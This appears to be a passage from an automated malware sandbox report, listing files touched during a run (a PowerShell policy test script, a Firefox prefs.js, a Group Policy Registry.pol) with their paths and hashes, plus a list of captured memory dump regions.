SHA512 23d241e8d74fa264e891882cff7d7528fc4732d8e7ceb62375e7b9ec13714be146d730c10748f74c22f160b5ed8ee96b21ee8dd13c1bd0d2f2906069ec1afeac
SSDEEP 192:BLv+B91ZLYp0qWaOArC7NXsGmnhR/R455rBwo9utfyA4+sK6LdxYtLeUF/muBiCL:Bb+B91ZDDHArUXhmhJkNOo9+ARKYY1ew
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_5fpotayb.hlw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5fpotayb.hlw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\e6zhegwu.default-release\prefs.js
Size 7KB
SHA256 03beac06254463c062d3a3ea6892a9dbd40eaae98f60637a307c64d464283178
MD5 71506ff1816653010300d79f2c40d69a
SHA1 e984906e82e78e540b0de7dc0b3053156496aaa8
SHA512 f439a567a98c81cf3d8d7b49e3923f0789285cb8067243b6ef22f0219fd21601d66634492d220f43fffc69f6c051374bb103af8e3b8ac060064b23a8a0c7144f
SSDEEP 192:T5n6RYfdX+g0Xbn53IYmez8Bw8Vc2Sul9DLadaWMHy:NwJIYdiw67S
MD5 SHA1 SHA512 SSDEEP

Submit Download

Registry.pol

Path C:\Windows\System32\GroupPolicy\Machine\Registry.pol
Size 7KB
SHA256 2d163a877325c548aa9d6e087bf5b624fb72b3a86697589380483d9bbddfcca7
MD5 7d4a545d3bb36539001701858ac18b0e
SHA1 2537d37773877f537a6ef3f5b75681080ed84a70
SHA512 27f801159cb34906d37eb735d372ab133897e91919ddc30c35bf62a4c41624e60cf2d1906f4d928ab4669025ce105622bc67cb2be3f98cb8aca1dff471f321d1
SSDEEP 96:W9H9h9j9n9a9K9o92939l9S9n9V9AyJ0u0z0Q0W0P05U0k000pQ0wQUurwJ1iYrh:O3rmrhSVg7
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2092-54-0x000001CDF1040000-0x000001CDF1062000-memory.dmp

Download

memory/3488-49-0x0000000006110000-0x0000000006464000-memory.dmp

Download

memory/3924-119-0x0000000003F80000-0x0000000003FE5000-memory.dmp

Download

memory/3924-23-0x0000000010000000-0x00000000105D3000-memory.dmp

Download

memory/3924-75-0x0000000003920000-0x00000000039A5000-memory.dmp

Download

memory/4484-38-0x00000000063F0000-0x000000000643C000-memory.dmp

Download

memory/4484-36-0x0000000005E20000-0x0000000006174000-memory.dmp

Download

memory/4684-17-0x00000000068C0000-0x0000000006956000-memory.dmp

Download

memory/4684-0-0x0000000002A30000-0x0000000002A66000-memory.dmp

Download

memory/4684-19-0x0000000006890000-0x00000000068B2000-memory.dmp

Download

memory/4684-18-0x0000000006840000-0x000000000685A000-memory.dmp

Download

memory/4684-20-0x0000000007B00000-0x00000000080A4000-memory.dmp

Download

memory/4684-16-0x0000000006380000-0x00000000063CC000-memory.dmp

Download

memory/4684-15-0x0000000006350000-0x000000000636E000-memory.dmp

Download

memory/4684-14-0x0000000005D50000-0x00000000060A4000-memory.dmp

Download

memory/4684-4-0x0000000005CE0000-0x0000000005D46000-memory.dmp

Download

memory/4684-3-0x0000000005C70000-0x0000000005CD6000-memory.dmp

Download

memory/4684-2-0x0000000005490000-0x00000000054B2000-memory.dmp

Download

memory/4684-1-0x0000000005550000-0x0000000005B78000-memory.dmp

Download